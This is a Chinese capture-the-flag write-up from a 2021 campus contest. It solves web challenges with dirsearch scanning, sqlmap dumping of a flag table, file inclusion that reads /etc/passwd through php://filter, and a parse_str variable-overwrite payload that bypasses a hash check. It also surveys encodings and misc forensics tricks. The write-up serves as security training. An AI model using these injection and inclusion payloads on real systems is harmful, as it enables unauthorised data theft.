2021校赛

web-1

题目地址:

172.31.65.173:80 

翻了一下robots.txt,抓了一下包,都没有什么有用信息,那就是需要扫描目录了,使用dirsearch扫描工具进行扫描

python dirsearch.py -u "http://172.31.65.173/"
img

发现有一个js目录
img
点进去以后即可看到源码
看到可疑源码,这是aaencode编码,搜索一下解码网站进行解码即可

゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_')

使用https://www.qtool.net/decode这个网址就可以解码了

img

web-2

题目地址

172.31.65.174:80

一开始一个搜索框,考点就那几个sql,ssti,命令执行…,先试试单引号,发现报错了
img

发现报错了
img
所以是sql报错注入,可以直接使用sqlmap去跑就好了

sqlmap -u "http://172.31.65.174/search.jsp?keyname=" --dbs
sqlmap -u "http://172.31.65.174/search.jsp?keyname=" -D attackdb --tables
sqlmap -u "http://172.31.65.174/search.jsp?keyname=" -D attackdb --tables -T db_news
sqlmap -u "http://172.31.65.174/search.jsp?keyname=" -D attackdb --tables -T db_news --columns
qlmap -u "http://172.31.65.174/search.jsp?keyname=" -D attackdb --tables -T db_news --columns -C flag --dump
img

web-3

题目地址

172.31.65.175

搜寻信息,查看一下页面源码,发现有一个index.php
img
点进去以后继续查看源码,发现有个参数?page=index,查看的是文件,所以试试是不是任意文件读取(文件包含)

img

发现可以读到/etc/passwd
img

非预期解:

大多数情况下,文件读取的题目,flag都会在根目录下,所以直接读取就好了

?page=/flag
img

预期解:

预期解的话,肯定是要先读一下源码,所以需要配合php伪协议进行源码的读取

试了几个,发现使用rot13编码就可以了,但是现在代码也读不了,需要使用rot13解码(不过这题直接给了rot13这个编码,…..)

http://192.168.87.183/index.php?page=php://filter/read=string.rot13/resource=index.php
img

然后来审一下源码

<?php

$page = $_get['page'];

if (isset($page)) {



if (preg_match("/^.+base.+$/",$page)) {#说明过滤了base
?>

<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die("</br>not base");?></p>
<br /><br /><br /><br />

<?php

}else{

?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php

if ($page === 'index.php') {
die('ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />

<?php
}}


$hashed_key = 'df01c5786c5d7d83211a8f5f22f6bdb8468e23494ad698cb86c02d128473beef765952cdd5504cbe4657a6334f6b4f7b';
$parsed = parse_url($_server['request_uri']);
$query = $parsed["query"];
$parsed_query = parse_str($query);#存在变量覆盖
if($parsed_query!=null){
$action = $parsed_query['action'];
}

if($action==="auth"){
$key = $_get["key"];
$hashed_input = hash('sha384', $key);#使用sha384加密key
//echo $hashed_input.'\n';
if($hashed_input!==$hashed_key){#sha384加密以后的key要等于本来的hashed_key
die("no way to get flag!");
}

echo file_get_contents("/flag");
}
?>

</body>

思路:通过变量覆盖,将hash_key变量覆盖为我们可控的key

parse_url()将url解析后,返回一个关联数组,数组中包含query这个字段,用来存储传入的参数值
parse_str() 函数用于把查询字符串解析到变量中,如果没有array 参数,则由该函数设置的变量将覆盖已存在的同名变量

写个简单的脚本debug一下让大家看看原理吧

本地复现源码如下:

<?php
$hashed_key = 'df01c5786c5d7d83211a8f5f22f6bdb8468e23494ad698cb86c02d128473beef765952cdd5504cbe4657a6334f6b4f7b';
$parsed = parse_url($_SERVER['REQUEST_URI']);
$query = $parsed["query"];
$parsed_query = parse_str($query);
print($hashed_key);

首先我传入这个值
img

然后我们到phpstorm里面去跟进一下:可以看到我们传入的hashed_key=123是数组中query键的值
img

经过parse_str函数的转化后hashed_key从一开始的那一大串东西被重新赋值为123了,产生了变量覆盖漏洞img

所以,根据这个漏洞,我们可以随便传入一个1经过sha加密以后对hash_进行变量覆盖,然后这个是payload

?action=auth&key=1&hashed_key=47f05d367b0c32e438fb63e6cf4a5f35c2aa2f90dc7543f8a41a0f95ce8a40a313ab5cf36134a2068c4c969cb50db776

即可拿到flag

crypto-编码

编码

ascii码

hex编码

信息转为十六进制

base家族

ase64 用于编码邮件内容、网页图片,意在减少传输过程中可能出现的错误;Base58 是比特币地址使用的编码方法,旨在提高地址的辨识度;Base32 用在一些对大小写不敏感的文件系统中。每种 Base-x 的编码都有适合它们的应用场景。

Base编码从底层来说就是对数据进行进制转换,Base64是64进制,Base32是32进制,Base16是16进制。而中间的过程是为了更好地进行传输数据

URL编码

HTML编码

Unicode编码

Morse电码

JSFuck

只需要“()+[]!”这6个字符组成的字符串。jsfuck的编码和解码与morsecode类似,只不过其表示的是JavaScript的语句。jsfuck源于一门编程语言brainfuck,其主要的思想就是只使用8种特定的符号来编写代码。jsfuck也是沿用了这个思想,它仅仅使用6种符号来编写代码。它们分别是()+[]!

JSFuck可以使用jsfuck官方的网站进行解密:JSFuck - Write any JavaScript with 6 Characters: !+

Quoted-Printable编码

比如:

密码学

可以使用Quoted-printable编码为:

=E5=AF=86=E7=A0=81=E5=AD=A6=0A=09=09=09=09=09

Quoted-printable的编码形式也比较容易辨认,基本上就是字符加等于号构成编码文段格式。

BrainFuck编码

比如:

Hello world!

使用BrainFuck进行编码就会得到


+++++ +++[- >++++ ++++< ]>+++ +++++ .<+++ ++[-> +++++ <]>++ ++.++ +++++

..+++ .<+++ +++++ [->-- ----- -<]>- ----- ----- ----. <++++ +++[- >++++

+++<] >++++ ++.<+ +++[- >++++ <]>++ +++++ +.+++ .---- --.-- ----- -.<++

+++++ +[->- ----- --<]> ---.<

可以使用Brainfuck/Ook! Obfuscation/Encoding 这个网站进行编码和解码

Ook编码

Ook也是一种小型的编程语言,Ook是为红毛猩猩设计的编程语言,设计思路和BrainFuck的设计思路基本类似,但是Ook采用了更少的元素进行编程,语句更加简单。由于Ook的特点,因此Ook也可以设计为一种特殊的编码方式。

比如:

Hello world!

使用Ook编码后,得到


Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!

Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook!

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.

Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?

Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook.

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.

Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook! Ook! Ook! Ook!

Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook? Ook. Ook?

Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook.

非常长,进行Ook编码和解码的网站也是Brainfuck/Ook! Obfuscation/Encoding

UUencode编码

比如

Hello World!

进行编码后得到:

,2&5L;&\@5V]R;&0A

XXencode编码

比如:

Hello World!

进行XXencode编码后,得到

BG4JgP4wUJqxmP4EV0U++

JJencode编码

算是JSFuck编码的前身,是由18种字符组成的编码格式。是针对JavaScript进行设计的编码方式。

长谷川阳介(Yosuke Hasegawa)于2009年7月创建了一个名为“jjencode”的网络应用程序,可将一切的JavaScript代码混淆为!+,”$.:;_{}~=这十八个字符的排列组合。

比如:

alert("Hello, JavaScript" )

进行jjencode编码,得到

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\"\\"+$.__$+$.__$+$.___+$.$$$_+(![]+"")[$._$_]+(![]+"")[$._$_]+$._$+",\\"+$.$__+$.___+"\\"+$.__$+$.__$+$._$_+$.$_$_+"\\"+$.__$+$.$$_+$.$$_+$.$_$_+"\\"+$.__$+$._$_+$._$$+$.$$__+"\\"+$.__$+$.$$_+$._$_+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$.___+$.__+"\\\"\\"+$.$__+$.___+")"+"\"")())();

AAencode编码

aaencode编码是一个比较有意思的编码形式,同样也是对于JavaScript语言设计的编码方式,是把JavaScript的代码编码成日本的表情包。

比如:

alert("Hello, JavaScript")

通过aaencode编码,得到

゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');

buu-misc

忘记保存了,无语了,所以直接写一下解题思路

金三胖

选择analyze的frame browser

二维码

binwalk -e 1.png

只用zip密码爆破软件
img
img

N种方式解决

在网页中打开(写个html代码)

大白

很显然啊 图片长宽不对
在010中打开 调整长高
18、19位是长,22、23是宽
img
img

你竟然赶我走

010中打开 搜索flag 或拉到底

基础破解 rar

使用rar破解工具

LSB

看到RGB中的0通道上面有一行内容

先选择analyse ->data extract->save bin保存为png 扫描一下
img
img

文件中的秘密

记事本打开(改后缀)

zip伪加密

就是这个zip

zip伪加密是在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包

一个 ZIP 文件由三个部分组成:

压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志

压缩源文件数据区

50 4B 03 04:这是头文件标记(0x04034b50)

14 00:解压文件所需 pkware 版本

00 00:全局方式位标记(有无加密)

08 00:压缩方式

5A 7E:最后修改文件时间

F7 46:最后修改文件日期

16 B5 80 14:CRC-32校验(1480B516)

19 00 00 00:压缩后尺寸(25)

17 00 00 00:未压缩尺寸(23)

07 00:文件名长度

00 00:扩展记录长度

压缩源文件目录区

50 4B 01 02:目录中文件文件头标记(0x02014b50)

3F 00:压缩使用的 pkware 版本

